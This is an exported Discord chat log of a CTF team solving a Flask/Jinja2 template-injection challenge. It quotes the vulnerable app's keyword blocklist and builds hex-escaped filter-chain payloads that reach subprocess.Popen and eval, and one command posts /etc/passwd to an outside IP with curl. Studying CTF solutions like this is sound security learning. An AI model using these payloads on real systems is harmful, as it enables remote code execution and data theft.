Guild icon
Project Sekai
🔒 GDG Algiers CTF 2022 / ✅-web-pipe-your-way
Avatar
Pipe your way - 500 points
Category: Web Description: > An awesome reward is waiting for you at the exit. Author : Djallil/djilousp Files:Tags: No tags.
Sutx pinned a message to this channel. 10/08/2022 11:00 AM
Avatar
@crazyman ai wants to collaborate 🤝
11:04
@jayden wants to collaborate 🤝
Avatar
@strellic wants to collaborate 🤝
Avatar
why this looks like a jail chall
13:00
oh nvm maybe Template injection or sth
13:01
The only source if anyone doesnt wanna dl from pickle import FALSE from flask import Flask, request,render_template from jinja2 import Template app = Flask(__name__) @app.route('/') def home(): return render_template('./index.html') @app.route( '/follow_the_light', methods=['GET']) def F0LL0WM3(): the_light = request.args.get("input", None) if the_light is None: return "It's just a white screen keep trying....." else: for _ in the_light: if any(x in the_light for x in {'.','_','|join', '[', ']', 'mro', 'base','import','builtins','attr','request','application','getitem','render_template'}): return "NOICE TRY" else: return Template("Your input: " + the_light).render() if __name__ == "__main__": app.run(host='0.0.0.0', port=3000)
Avatar
@zwx风信 wants to collaborate 🤝
Avatar
any progress here ?
Avatar
not yet
Avatar
everything looking useful to payload is banned (edited)
Avatar
actually yeah
Avatar
@22sh wants to collaborate 🤝
Avatar
found a bypass for underscores
Avatar
This is the only one out of 3 new webs with solves
Avatar
also how is underscore bypassed
17:57
also whats the payload if there's no ban?
Avatar
@22sh do you know about it?
18:23
filter bypass
18:26
it still has "application"
Avatar
Avatar
sahuang
https://jinja.palletsprojects.com/en/3.1.x/templates/#list-of-builtin-filters anyone? this is a hint so i think solvable from this
i will try read this a bit since its the direction
Avatar
@Violin wants to collaborate 🤝
Avatar
We need a few (maybe 3-4) builtin filters from the list to chain a long payload
Avatar
@Zafirr wants to collaborate 🤝
Avatar
|join on the blacklist can be bypassed with | join
Avatar
but we need like 3-4 filters lul
Avatar
Have you tried using alternative parentheses? Like e.g. the UTF-8 full-width characters? Maybe the filter is somewhere in front and Jinja gracefully converts them back, for you. os.system(‘id’) aka. os.system%uff08'id'%uff09
21:49
maybe this for bracket
Avatar
U+FF3B is the unicode hex value of the character Fullwidth Left Square Bracket. Char U+FF3B, Encodings, HTML Entitys:[,[, UTF-8 (hex), UTF-16 (hex), UTF-32 (hex)
Avatar
Avatar
sahuang
https://jinja.palletsprojects.com/en/3.1.x/templates/#list-of-builtin-filters anyone? this is a hint so i think solvable from this
but i got hint that pretty sure using 3-4 here can solve (maybe there are other solutions, im looking)
Avatar
yeah but no dot bypass (edited)
21:50
and dot bypass i found needs brackets
Avatar
true
Avatar
ok doesnt work
21:52
oh wait
21:57
yeah it doesnt work, internal server error
Avatar
{{"sdfs"|map("\x61ttr","\x5f\x5fclass\x5f\x5f")|first}} (edited)
21:57
does "sdfs".__class__
21:58
so just chain from there?
Avatar
Avatar
sahuang
|join on the blacklist can be bypassed with | join
i feel this will def help somewhere imokay
Avatar
i mean why they use |join not join
Avatar
current progress
22:08
http://pipe-your-way.chal.ctf.gdgalgiers.com/follow_the_light?input={{%22sdfs%22|map(%22\x61ttr%22,%22\x5f\x5fclass\x5f\x5f%22)|map(%22\x61ttr%22,%22\x5f\x5fmr\x6f\x5f\x5f%22)|list|map(%22last%22)|map(%22\x61ttr%22,%22\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f%22)|list}} (edited)
👍 2
Avatar
damn i failed to interpret this
22:13
ah ok it bypassed blacklist and returns empty list
Avatar
check source
Avatar
Your input: <class 'subprocess.Popen'>
👀 2
22:23
👀
22:47
i dont think this machine has outbound connection
22:47
cringe
Avatar
whats the payload to get popen? we cant just run cat flag?
Avatar
i dont have output
22:49
view-source:http://pipe-your-way.chal.ctf.gdgalgiers.com/follow_the_light?input={% set z = "curl 3354495921:1234 -F=@/etc/passwd" |list|slice(1)|list|map("join")|map("\x61ttr", "split")|first()()%}{{"sdfs"|map("\x61ttr","\x5f\x5fclass\x5f\x5f")|map("\x61ttr","\x5f\x5fmr\x6f\x5f\x5f")|list|map("last")|map("\x61ttr","\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")|list|first()()|slice(1)|list|map("\x61ttr", "\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")|list|first()(224)(z)}} (edited)
Avatar
Avatar
strellic
Your input: <class 'subprocess.Popen'>
hm how did you get this?
22:50
o ok
Avatar
its kinda wacky
22:50
anyway im using map to get attributes
22:51
but that only works on iterables
22:51
i cant convert subprocess.Popen("ls") to a list
22:51
so i cant see the "communicate" attr
22:51
still working on it tho
22:57
nvm i have a way
Avatar
CyberErudites{j1nj4_f1lTeRs_ar3_4We$0ME}
23:17
what a lie
23:17
what a not fun challenge
Avatar
Avatar
strellic
used /ctf solve
✅ Challenge solved.
Avatar
view-source:http://pipe-your-way.chal.ctf.gdgalgiers.com/follow_the_light?input={% set cmd = "cat flag\x2etxt"|list|slice(1)|list|map("join")|map("\x61ttr", "split")|first()() %}{% set pwn = "sdfs"|map("\x61ttr","\x5f\x5fclass\x5f\x5f")|map("\x61ttr","\x5f\x5fmr\x6f\x5f\x5f")|list|map("last")|map("\x61ttr","\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")|list|first()()|slice(1)|list|map("\x61ttr", "\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")|list|first()(224)(cmd,stdout=-1) %}{% set arr = ""|list|slice(1)|list %}{{ arr|map("\x61ttr", "append")|first()(pwn) }}{{ arr|first|map("\x61ttr","communicate")|first()() }} (edited)
23:18
nasty payload
Avatar
indeed
23:18
cant wait to see intended sol be 5x shorter
23:18
zzz
Avatar
i doubt it will be short
Avatar
maybe lol
23:20
idea behind this is that we have map, which lets us get attribute of every element in array
23:20
just keep everything in an array as long as possible to keep mapping onto it
23:20
and at the end, when you dont have an array left, create a new array and manually append an item onto it so you can keep mapping
23:20
🤮
Avatar
maybe intended 😎 imokay
Avatar
i didnt even use join so
23:21
probably not
Avatar
yeah lol
Avatar
join can actually be used to see map values right? since it returns a generator?
Avatar
Strellic God!!!!
Avatar
Avatar
sahuang
join can actually be used to see map values right? since it returns a generator?
yeah probably
23:25
just seeing map values is easy since i can just do |first tho
Avatar
ah ok
23:25
true
Avatar
no, crazyman god
Avatar
crazyman ai 10/09/2022 1:19 AM
crazynoob
Avatar
{{ ((lipsum,)|map(**{"at"+"tribute" : "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute" : "\x5F\x5Fbui"+"ltins\x5F\x5F"})|map(**{"at"+"tribute" : "eval"})|list|last)("open('flag\x2Etxt')\x2Eread()") }} This works too fyi
Exported 102 message(s)